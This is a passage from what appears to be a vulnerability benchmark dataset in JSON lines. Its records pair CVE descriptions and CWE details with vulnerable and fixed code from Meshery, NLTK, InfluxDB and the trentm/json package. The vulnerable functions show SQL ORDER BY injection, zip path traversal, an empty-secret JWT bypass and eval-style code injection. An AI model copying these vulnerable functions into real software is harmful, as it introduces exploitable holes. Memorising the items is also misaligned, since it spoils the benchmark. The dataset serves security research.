finder.Where(\"severity IN ?\", eventsFilter.Severity)\n\t}\n\n\tif eventsFilter.Search != \"\" {\n\t\tfinder = finder.Where(\"description LIKE ?\", \"%\"+eventsFilter.Search+\"%\")\n\t}\n\n\tif eventsFilter.Status != \"\" {\n\t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n\t}\n\n\tif eventsFilter.Order == \"asc\" {\n\t\tfinder = finder.Order(eventsFilter.SortOn)\n\t} else {\n\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: eventsFilter.SortOn}, Desc: true})\n\t}\n\n\tvar count int64\n\tfinder.Count(&count)\n\n\tif eventsFilter.Offset != 0 {\n\t\tfinder = finder.Offset(eventsFilter.Offset)\n\t}\n\n\tif eventsFilter.Limit != 0 {\n\t\tfinder = finder.Limit(eventsFilter.Limit)\n\t}\n\n\terr := finder.Scan(&eventsDB).Error\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcountBySeverity, err := e.getCountBySeverity(userID, eventsFilter.Status)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &EventsResponse{\n\t\tEvents:               eventsDB,\n\t\tPageSize:             eventsFilter.Limit,\n\t\tTotalCount:           count,\n\t\tCountBySeverityLevel: countBySeverity,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_278_1", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "mesheryctl/pkg/utils/helpers.go", "start_line": 544, "end_line": 554, "snippet": "func ClearLine() {\n\tclearCmd := exec.Command(\"clear\") // for UNIX-like systems\n\tif runtime.GOOS == \"windows\" {\n\t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n\t}\n\tclearCmd.Stdout = os.Stdout\n\terr := clearCmd.Run()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}"}, {"id": "fix_go_278_2", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "server/handlers/meshsync_handler.go", "start_line": 187, "end_line": 255, "snippet": "func (h *Handler) GetMeshSyncResourcesKinds(rw http.ResponseWriter, r *http.Request, _ *models.Preference, _ *models.User, provider models.Provider) {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\tenc := json.NewEncoder(rw)\n\n\tpage, offset, limit,\n\t\tsearch, order, sort, _ := getPaginationParams(r)\n\n\tfilter := struct {\n\t\tClusterIds []string `json:\"clusterIds\"`\n\t}{}\n\n\tvar kinds []string\n\tvar totalCount int64\n\n\tclusterIds := r.URL.Query().Get(\"clusterIds\")\n\tif clusterIds != \"\" {\n\t\terr := json.Unmarshal([]byte(clusterIds), &filter.ClusterIds)\n\t\tif err != nil {\n\t\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfilter.ClusterIds = []string{}\n\t}\n\n\tresult := provider.GetGenericPersister().Model(&model.KubernetesResource{}).Distinct(\"kind\").\n\t\tWhere(\"kubernetes_resources.cluster_id IN (?)\", filter.ClusterIds)\n\n\tif search != \"\" {\n\t\tresult = result.Where(\"kubernetes_resources.kind LIKE ?\", \"%\"+search+\"%\")\n\t}\n\n\tif limit != 0 {\n\t\tresult = result.Limit(limit)\n\t}\n\n\tif offset != 0 {\n\t\tresult = result.Offset(offset)\n\t}\n\n\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n\tif order != \"\" {\n\t\tif sort == \"desc\" {\n\t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\t\t} else {\n\t\t\tresult = result.Order(order)\n\t\t}\n\t}\n\n\terr := result.Pluck(\"kinds\", &kinds).Error\n\tif err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse := &models.MeshSyncResourcesKindsAPIResponse{\n\t\tKinds:      kinds,\n\t\tTotalCount: totalCount,\n\t\tPage:       page,\n\t\tPageSize:   limit,\n\t}\n\n\tif err := enc.Encode(response); err != nil {\n\t\th.log.Error(ErrFetchMeshSyncResources(err))\n\t\thttp.Error(rw, ErrFetchMeshSyncResources(err).Error(), http.StatusInternalServerError)\n\t}\n}"}, {"id": "fix_go_278_3", "commit": "b55f6064d0c6a965aee38f30281f99da7dc4420c", "file_path": "server/models/events_persister.go", "start_line": 47, "end_line": 106, "snippet": "func (e *EventsPersister) GetAllEvents(eventsFilter *events.EventsFilter, userID uuid.UUID) (*EventsResponse, error) {\n\teventsDB := []*events.Event{}\n\tfinder := e.DB.Model(&events.Event{}).Where(\"user_id = ?\", userID)\n\n\tif len(eventsFilter.Category) != 0 {\n\t\tfinder = finder.Where(\"category IN ?\", eventsFilter.Category)\n\t}\n\n\tif len(eventsFilter.Action) != 0 {\n\t\tfinder = finder.Where(\"action IN ?\", eventsFilter.Action)\n\t}\n\n\tif len(eventsFilter.Severity) != 0 {\n\t\tfinder = finder.Where(\"severity IN ?\", eventsFilter.Severity)\n\t}\n\n\tif eventsFilter.Search != \"\" {\n\t\tfinder = finder.Where(\"description LIKE ?\", \"%\"+eventsFilter.Search+\"%\")\n\t}\n\n\tif eventsFilter.Status != \"\" {\n\t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n\t}\n\n\tsortOn := SanitizeOrderInput(eventsFilter.SortOn, []string{\"created_at\", \"updated_at\", \"name\"})\n\tif eventsFilter.Order == \"asc\" {\n\t\tfinder = finder.Order(sortOn)\n\t} else {\n\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: sortOn}, Desc: true})\n\t}\n\n\tvar count int64\n\tfinder.Count(&count)\n\n\tif eventsFilter.Offset != 0 {\n\t\tfinder = finder.Offset(eventsFilter.Offset)\n\t}\n\n\tif eventsFilter.Limit != 0 {\n\t\tfinder = finder.Limit(eventsFilter.Limit)\n\t}\n\n\terr := finder.Scan(&eventsDB).Error\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcountBySeverity, err := e.getCountBySeverity(userID, eventsFilter.Status)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &EventsResponse{\n\t\tEvents:               eventsDB,\n\t\tPageSize:             eventsFilter.Limit,\n\t\tTotalCount:           count,\n\t\tCountBySeverityLevel: countBySeverity,\n\t}, nil\n}"}], "vul_patch": "--- a/mesheryctl/pkg/utils/helpers.go\n+++ b/mesheryctl/pkg/utils/helpers.go\n@@ -4,5 +4,8 @@\n \t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n \t}\n \tclearCmd.Stdout = os.Stdout\n-\t_ = clearCmd.Run()\n+\terr := clearCmd.Run()\n+\tif err != nil {\n+\t\tlog.Fatal(err)\n+\t}\n }\n\n--- a/server/handlers/meshsync_handler.go\n+++ b/server/handlers/meshsync_handler.go\n@@ -39,6 +39,7 @@\n \t\tresult = result.Offset(offset)\n \t}\n \n+\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n \tif order != \"\" {\n \t\tif sort == \"desc\" {\n \t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\n--- a/server/models/events_persister.go\n+++ b/server/models/events_persister.go\n@@ -22,10 +22,11 @@\n \t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n \t}\n \n+\tsortOn := SanitizeOrderInput(eventsFilter.SortOn, []string{\"created_at\", \"updated_at\", \"name\"})\n \tif eventsFilter.Order == \"asc\" {\n-\t\tfinder = finder.Order(eventsFilter.SortOn)\n+\t\tfinder = finder.Order(sortOn)\n \t} else {\n-\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: eventsFilter.SortOn}, Desc: true})\n+\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: sortOn}, Desc: true})\n \t}\n \n \tvar count int64\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-14751", "cve_description": "NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/nltk/nltk", "patch_url": ["https://github.com/nltk/nltk/commit/f59d7ed8df2e0e957f7f247fe218032abdbe9a10"], "programing_language": "Python", "vul_func": [{"id": "vul_py_98_1", "commit": "2554ff4", "file_path": "nltk/downloader.py", "start_line": "2249", "end_line": "2300", "snippet": "def _unzip_iter(filename, root, verbose=True):\n    if verbose:\n        sys.stdout.write('Unzipping %s' % os.path.split(filename)[1])\n        sys.stdout.flush()\n\n    try:\n        zf = zipfile.ZipFile(filename)\n    except zipfile.error as e:\n        yield ErrorMessage(filename, 'Error with downloaded zip file')\n        return\n    except Exception as e:\n        yield ErrorMessage(filename, e)\n        return\n\n    # Get lists of directories & files\n    namelist = zf.namelist()\n    dirlist = set()\n    for x in namelist:\n        if x.endswith('/'):\n            dirlist.add(x)\n        else:\n            dirlist.add(x.rsplit('/', 1)[0] + '/')\n    filelist = [x for x in namelist if not x.endswith('/')]\n\n    # Create the target directory if it doesn't exist\n    if not os.path.exists(root):\n        os.mkdir(root)\n\n    # Create the directory structure\n    for dirname in sorted(dirlist):\n        pieces = dirname[:-1].split('/')\n        for i in range(len(pieces)):\n            dirpath = os.path.join(root, *pieces[: i + 1])\n            if not os.path.exists(dirpath):\n                os.mkdir(dirpath)\n\n    # Extract files.\n    for i, filename in enumerate(filelist):\n        filepath = os.path.join(root, *filename.split('/'))\n\n        try:\n            with open(filepath, 'wb') as dstfile, zf.open(filename) as srcfile:\n                shutil.copyfileobj(srcfile, dstfile)\n        except Exception as e:\n            yield ErrorMessage(filename, e)\n            return\n\n        if verbose and (i * 10 / len(filelist) > (i - 1) * 10 / len(filelist)):\n            sys.stdout.write('.')\n            sys.stdout.flush()\n    if verbose:\n        print()"}], "fix_func": [{"id": "fix_py_98_1", "commit": "f59d7ed", "file_path": "nltk/downloader.py", "start_line": "2249", "end_line": "2266", "snippet": "def _unzip_iter(filename, root, verbose=True):\n    if verbose:\n        sys.stdout.write('Unzipping %s' % os.path.split(filename)[1])\n        sys.stdout.flush()\n\n    try:\n        zf = zipfile.ZipFile(filename)\n    except zipfile.error as e:\n        yield ErrorMessage(filename, 'Error with downloaded zip file')\n        return\n    except Exception as e:\n        yield ErrorMessage(filename, e)\n        return\n\n    zf.extractall(root)\n\n    if verbose:\n        print()"}], "vul_patch": "--- a/nltk/downloader.py\n+++ b/nltk/downloader.py\n@@ -12,41 +12,7 @@\n         yield ErrorMessage(filename, e)\n         return\n \n-    # Get lists of directories & files\n-    namelist = zf.namelist()\n-    dirlist = set()\n-    for x in namelist:\n-        if x.endswith('/'):\n-            dirlist.add(x)\n-        else:\n-            dirlist.add(x.rsplit('/', 1)[0] + '/')\n-    filelist = [x for x in namelist if not x.endswith('/')]\n+    zf.extractall(root)\n \n-    # Create the target directory if it doesn't exist\n-    if not os.path.exists(root):\n-        os.mkdir(root)\n-\n-    # Create the directory structure\n-    for dirname in sorted(dirlist):\n-        pieces = dirname[:-1].split('/')\n-        for i in range(len(pieces)):\n-            dirpath = os.path.join(root, *pieces[: i + 1])\n-            if not os.path.exists(dirpath):\n-                os.mkdir(dirpath)\n-\n-    # Extract files.\n-    for i, filename in enumerate(filelist):\n-        filepath = os.path.join(root, *filename.split('/'))\n-\n-        try:\n-            with open(filepath, 'wb') as dstfile, zf.open(filename) as srcfile:\n-                shutil.copyfileobj(srcfile, dstfile)\n-        except Exception as e:\n-            yield ErrorMessage(filename, e)\n-            return\n-\n-        if verbose and (i * 10 / len(filelist) > (i - 1) * 10 / len(filelist)):\n-            sys.stdout.write('.')\n-            sys.stdout.flush()\n     if verbose:\n         print()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-20933", "cve_description": "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/influxdata/influxdb", "patch_url": ["https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_248_1", "commit": "93b56325fc2002513b17662c8d996327d2cb658d", "file_path": "services/httpd/handler.go", "start_line": 1551, "end_line": 1640, "snippet": "func authenticate(inner func(http.ResponseWriter, *http.Request, meta.User), h *Handler, requireAuthentication bool) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// Return early if we are not authenticating\n\t\tif !requireAuthentication {\n\t\t\tinner(w, r, nil)\n\t\t\treturn\n\t\t}\n\t\tvar user meta.User\n\n\t\t// TODO corylanou: never allow this in the future without users\n\t\tif requireAuthentication && h.MetaClient.AdminUserExists() {\n\t\t\tcreds, err := parseCredentials(r)\n\t\t\tif err != nil {\n\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tswitch creds.Method {\n\t\t\tcase UserAuthentication:\n\t\t\t\tif creds.Username == \"\" {\n\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\t\th.httpError(w, \"username required\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tuser, err = h.MetaClient.Authenticate(creds.Username, creds.Password)\n\t\t\t\tif err != nil {\n\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\t\th.httpError(w, \"authorization failed\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tcase BearerAuthentication:\n\t\t\t\tkeyLookupFn := func(token *jwt.Token) (interface{}, error) {\n\t\t\t\t\t// Check for expected signing method.\n\t\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t\t\t\t}\n\t\t\t\t\treturn []byte(h.Config.SharedSecret), nil\n\t\t\t\t}\n\n\t\t\t\t// Parse and validate the token.\n\t\t\t\ttoken, err := jwt.Parse(creds.Token, keyLookupFn)\n\t\t\t\tif err != nil {\n\t\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if !token.Valid {\n\t\t\t\t\th.httpError(w, \"invalid token\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tclaims, ok := token.Claims.(jwt.MapClaims)\n\t\t\t\tif !ok {\n\t\t\t\t\th.httpError(w, \"problem authenticating token\", http.StatusInternalServerError)\n\t\t\t\t\th.Logger.Info(\"Could not assert JWT token claims as jwt.MapClaims\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Make sure an expiration was set on the token.\n\t\t\t\tif exp, ok := claims[\"exp\"].(float64); !ok || exp <= 0.0 {\n\t\t\t\t\th.httpError(w, \"token expiration required\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Get the username from the token.\n\t\t\t\tusername, ok := claims[\"username\"].(string)\n\t\t\t\tif !ok {\n\t\t\t\t\th.httpError(w, \"username in token must be a string\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if username == \"\" {\n\t\t\t\t\th.httpError(w, \"token must contain a username\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Lookup user in the metastore.\n\t\t\t\tif user, err = h.MetaClient.User(username); err != nil {\n\t\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if user == nil {\n\t\t\t\t\th.httpError(w, meta.ErrUserNotFound.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\th.httpError(w, \"unsupported authentication\", http.StatusUnauthorized)\n\t\t\t}\n\n\t\t}\n\t\tinner(w, r, user)\n\t})\n}"}], "fix_func": [{"id": "fix_go_248_1", "commit": "761b557315ff9c1642cf3b0e5797cd3d983a24c0", "file_path": "services/httpd/handler.go", "start_line": 1551, "end_line": 1645, "snippet": "func authenticate(inner func(http.ResponseWriter, *http.Request, meta.User), h *Handler, requireAuthentication bool) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t// Return early if we are not authenticating\n\t\tif !requireAuthentication {\n\t\t\tinner(w, r, nil)\n\t\t\treturn\n\t\t}\n\t\tvar user meta.User\n\n\t\t// TODO corylanou: never allow this in the future without users\n\t\tif requireAuthentication && h.MetaClient.AdminUserExists() {\n\t\t\tcreds, err := parseCredentials(r)\n\t\t\tif err != nil {\n\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tswitch creds.Method {\n\t\t\tcase UserAuthentication:\n\t\t\t\tif creds.Username == \"\" {\n\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\t\th.httpError(w, \"username required\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tuser, err = h.MetaClient.Authenticate(creds.Username, creds.Password)\n\t\t\t\tif err != nil {\n\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\t\th.httpError(w, \"authorization failed\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tcase BearerAuthentication:\n\t\t\t\tif h.Config.SharedSecret == \"\" {\n\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n\t\t\t\t\th.httpError(w, \"bearer auth disabled\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tkeyLookupFn := func(token *jwt.Token) (interface{}, error) {\n\t\t\t\t\t// Check for expected signing method.\n\t\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\t\t\t\treturn nil, fmt.Errorf(\"unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t\t\t\t}\n\t\t\t\t\treturn []byte(h.Config.SharedSecret), nil\n\t\t\t\t}\n\n\t\t\t\t// Parse and validate the token.\n\t\t\t\ttoken, err := jwt.Parse(creds.Token, keyLookupFn)\n\t\t\t\tif err != nil {\n\t\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if !token.Valid {\n\t\t\t\t\th.httpError(w, \"invalid token\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tclaims, ok := token.Claims.(jwt.MapClaims)\n\t\t\t\tif !ok {\n\t\t\t\t\th.httpError(w, \"problem authenticating token\", http.StatusInternalServerError)\n\t\t\t\t\th.Logger.Info(\"Could not assert JWT token claims as jwt.MapClaims\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Make sure an expiration was set on the token.\n\t\t\t\tif exp, ok := claims[\"exp\"].(float64); !ok || exp <= 0.0 {\n\t\t\t\t\th.httpError(w, \"token expiration required\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Get the username from the token.\n\t\t\t\tusername, ok := claims[\"username\"].(string)\n\t\t\t\tif !ok {\n\t\t\t\t\th.httpError(w, \"username in token must be a string\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if username == \"\" {\n\t\t\t\t\th.httpError(w, \"token must contain a username\", http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Lookup user in the metastore.\n\t\t\t\tif user, err = h.MetaClient.User(username); err != nil {\n\t\t\t\t\th.httpError(w, err.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t} else if user == nil {\n\t\t\t\t\th.httpError(w, meta.ErrUserNotFound.Error(), http.StatusUnauthorized)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\th.httpError(w, \"unsupported authentication\", http.StatusUnauthorized)\n\t\t\t}\n\n\t\t}\n\t\tinner(w, r, user)\n\t})\n}"}], "vul_patch": "--- a/services/httpd/handler.go\n+++ b/services/httpd/handler.go\n@@ -31,6 +31,11 @@\n \t\t\t\t\treturn\n \t\t\t\t}\n \t\t\tcase BearerAuthentication:\n+\t\t\t\tif h.Config.SharedSecret == \"\" {\n+\t\t\t\t\tatomic.AddInt64(&h.stats.AuthenticationFailures, 1)\n+\t\t\t\t\th.httpError(w, \"bearer auth disabled\", http.StatusUnauthorized)\n+\t\t\t\t\treturn\n+\t\t\t\t}\n \t\t\t\tkeyLookupFn := func(token *jwt.Token) (interface{}, error) {\n \t\t\t\t\t// Check for expected signing method.\n \t\t\t\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7712", "cve_description": "This affects the package json before 10.0.0. It is possible to inject arbritary commands using the parseLookup function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/trentm/json", "patch_url": ["https://github.com/trentm/json/commit/cc4798169f9e0f181f8aa61905b88479badcd483"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_189_1", "commit": "8d3cf25", "file_path": "lib/json.js", "start_line": 764, "end_line": 883, "snippet": "function parseLookup(lookup, lookupDelim) {\n    var debug = function () {};\n    //var debug = console.warn;\n\n    var bits = [];\n    debug('\\n*** ' + lookup + ' ***');\n\n    bits = [];\n    lookupDelim = lookupDelim || '.';\n    var bit = '';\n    var states = [null];\n    var escaped = false;\n    var ch = null;\n    for (var i = 0; i < lookup.length; ++i) {\n        var escaped = (!escaped && ch === '\\\\');\n        var ch = lookup[i];\n        debug('-- i=' + i + ', ch=' + JSON.stringify(ch) + ' escaped=' +\n            JSON.stringify(escaped));\n        debug('states: ' + JSON.stringify(states));\n\n        if (escaped) {\n            bit += ch;\n            continue;\n        }\n\n        switch (states[states.length - 1]) {\n        case null:\n            switch (ch) {\n            case '\"':\n            case '\\'':\n                states.push(ch);\n                bit += ch;\n                break;\n            case '[':\n                states.push(ch);\n                if (bit !== '') {\n                    bits.push(bit);\n                    bit = ''\n                }\n                bit += ch;\n                break;\n            case lookupDelim:\n                if (bit !== '') {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            default:\n                bit += ch;\n                break;\n            }\n            break;\n\n        case '[':\n            bit += ch;\n            switch (ch) {\n            case '\"':\n            case '\\'':\n            case '[':\n                states.push(ch);\n                break;\n            case ']':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    var evaled = vm.runInNewContext(\n                        '(' + bit.slice(1, -1) + ')', {}, '<lookup>');\n                    bits.push(evaled);\n                    bit = ''\n                }\n                break;\n            }\n            break;\n\n        case '\"':\n            bit += ch;\n            switch (ch) {\n            case '\"':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            }\n            break;\n\n        case '\\'':\n            bit += ch;\n            switch (ch) {\n            case '\\'':\n                states.pop();\n                if (states[states.length - 1] === null) {\n                    bits.push(bit);\n                    bit = ''\n                }\n                break;\n            }\n            break;\n        }\n        debug('bit: ' + JSON.stringify(bit));\n        debug('bits: ' + JSON.stringify(bits));\n    }\n\n    if (bit !== '') {\n        bits.push(bit);\n        bit = ''\n    }\n\n    // Negative-intify: strings that are negative ints we change to a Number for\n    // special handling in `lookupDatum`: Python-style negative array indexing.\n    var negIntPat = /^-\\d+$/;\n    for (var i = 0; i < bits.length; i++) {\n        if (negIntPat.test(bits[i])) {\n            bits[i] = Number(bits[i]);\n        }\n    }\n\n    debug(JSON.stringify(lookup) + ' -> ' + JSON.stringify(bits));\n    return bits\n}"}, {"id": "vul_js_189_2", "commit": "8d3cf25", "file_path": "lib/json.js", "start_line": 1239, "end_line": 1379, "snippet": "function main(argv) {\n    var opts;\n    try {\n        opts = parseArgv(argv);\n    } catch (e) {\n        warn('json: error: %s', e.message)\n        return drainStdoutAndExit(1);\n    }\n    //warn(opts);\n    if (opts.help) {\n        printHelp();\n        return;\n    }\n    if (opts.version) {\n        if (opts.outputMode === OM_JSON) {\n            var v = {\n                version: getVersion(),\n                author: 'Trent Mick',\n                project: 'https://github.com/trentm/json'\n            };\n            console.log(JSON.stringify(v, null, opts.jsonIndent));\n        } else {\n            console.log('json ' + getVersion());\n            console.log('written by Trent Mick');\n            console.log('https://github.com/trentm/json');\n        }\n        return;\n    }\n    var lookupStrs = opts.args;\n\n    // Prepare condition and execution funcs (and vm scripts) for -c/-e.\n    var execVm = Boolean(process.env.JSON_EXEC &&\n        process.env.JSON_EXEC === 'vm');\n    var i;\n    var condFuncs = [];\n    if (!execVm) {\n        for (i = 0; i < opts.condSnippets.length; i++) {\n            condFuncs[i] = funcWithReturnFromSnippet(opts.condSnippets[i]);\n        }\n    }\n    var condScripts = [];\n    if (execVm) {\n        for (i = 0; i < opts.condSnippets.length; i++) {\n            condScripts[i] = vm.createScript(opts.condSnippets[i]);\n        }\n    }\n    var cond = Boolean(condFuncs.length + condScripts.length);\n    var exeFuncs = [];\n    if (!execVm) {\n        for (i = 0; i < opts.exeSnippets.length; i++) {\n            exeFuncs[i] = new Function(opts.exeSnippets[i]);\n        }\n    }\n    var exeScripts = [];\n    if (execVm) {\n        for (i = 0; i < opts.exeSnippets.length; i++) {\n            exeScripts[i] = vm.createScript(opts.exeSnippets[i]);\n        }\n    }\n    var exe = Boolean(exeFuncs.length + exeScripts.length);\n\n    var lookups = lookupStrs.map(function (lookup) {\n        return parseLookup(lookup, opts.lookupDelim);\n    });\n\n    if (opts.group && opts.array && opts.outputMode !== OM_JSON) {\n        // streaming\n        var chunker = chunkEmitter(opts);\n        chunker.on('error', function (error) {\n            warn('json: error: %s', err.message);\n            return drainStdoutAndExit(1);\n        });\n        chunker.on('chunk', parseChunk);\n    } else if (opts.inPlace) {\n        assert.equal(opts.inputFiles.length, 1,\n            'cannot handle more than one file with -I');\n        getInput(opts, function (err, content, filename) {\n            if (err) {\n                warn('json: error: %s', err.message)\n                return drainStdoutAndExit(1);\n            }\n\n            // Take off a leading HTTP header if any and pass it through.\n            var headers = [];\n            while (true) {\n                if (content.slice(0, 5) === 'HTTP/') {\n                    var index = content.indexOf('\\r\\n\\r\\n');\n                    var sepLen = 4;\n                    if (index == -1) {\n                        index = content.indexOf('\\n\\n');\n                        sepLen = 2;\n                    }\n                    if (index != -1) {\n                        if (!opts.dropHeaders) {\n                            headers.push(content.slice(0, index + sepLen));\n                        }\n                        var is100Continue = (\n                            content.slice(0, 21) === 'HTTP/1.1 100 Continue');\n                        content = content.slice(index + sepLen);\n                        if (is100Continue) {\n                            continue;\n                        }\n                    }\n                }\n                break;\n            }\n            parseChunk(content, undefined, filename, true, headers.join(''));\n        });\n    } else {\n        // not streaming\n        getInput(opts, function (err, buffer, filename) {\n            if (err) {\n                warn('json: error: %s', err.message)\n                return drainStdoutAndExit(1);\n            }\n            // Take off a leading HTTP header if any and pass it through.\n            while (true) {\n                if (buffer.slice(0, 5) === 'HTTP/') {\n                    var index = buffer.indexOf('\\r\\n\\r\\n');\n                    var sepLen = 4;\n                    if (index == -1) {\n                        index = buffer.indexOf('\\n\\n');\n                        sepLen = 2;\n                    }\n                    if (index != -1) {\n                        if (!opts.dropHeaders) {\n                            emit(buffer.slice(0, index + sepLen));\n                        }\n                        var is100Continue = (\n                            buffer.slice(0, 21) === 'HTTP/1.1 100 Continue');\n                        buffer = buffer.slice(index + sepLen);\n                        if (is100Continue) {\n                            continue;\n                        }\n                    }\n                }\n                break;\n            }\n            parseChunk(buffer, null, filename, false);\n        });\n    }"}], "fix_func": [{"id": "fix_js_189_1", "commit": "cc47981", "file_path": "lib/json.js", "start_line": 773, "end_line": 950, "snippet": "function parseLookup(lookup, lookupDelim) {\n    var debug = function () {};\n    // var debug = console.warn;\n\n    var bits = [];\n    debug('\\n*** ' + lookup + ' ***');\n\n    bits = [];\n    lookupDelim = lookupDelim || '.';\n    var bit = 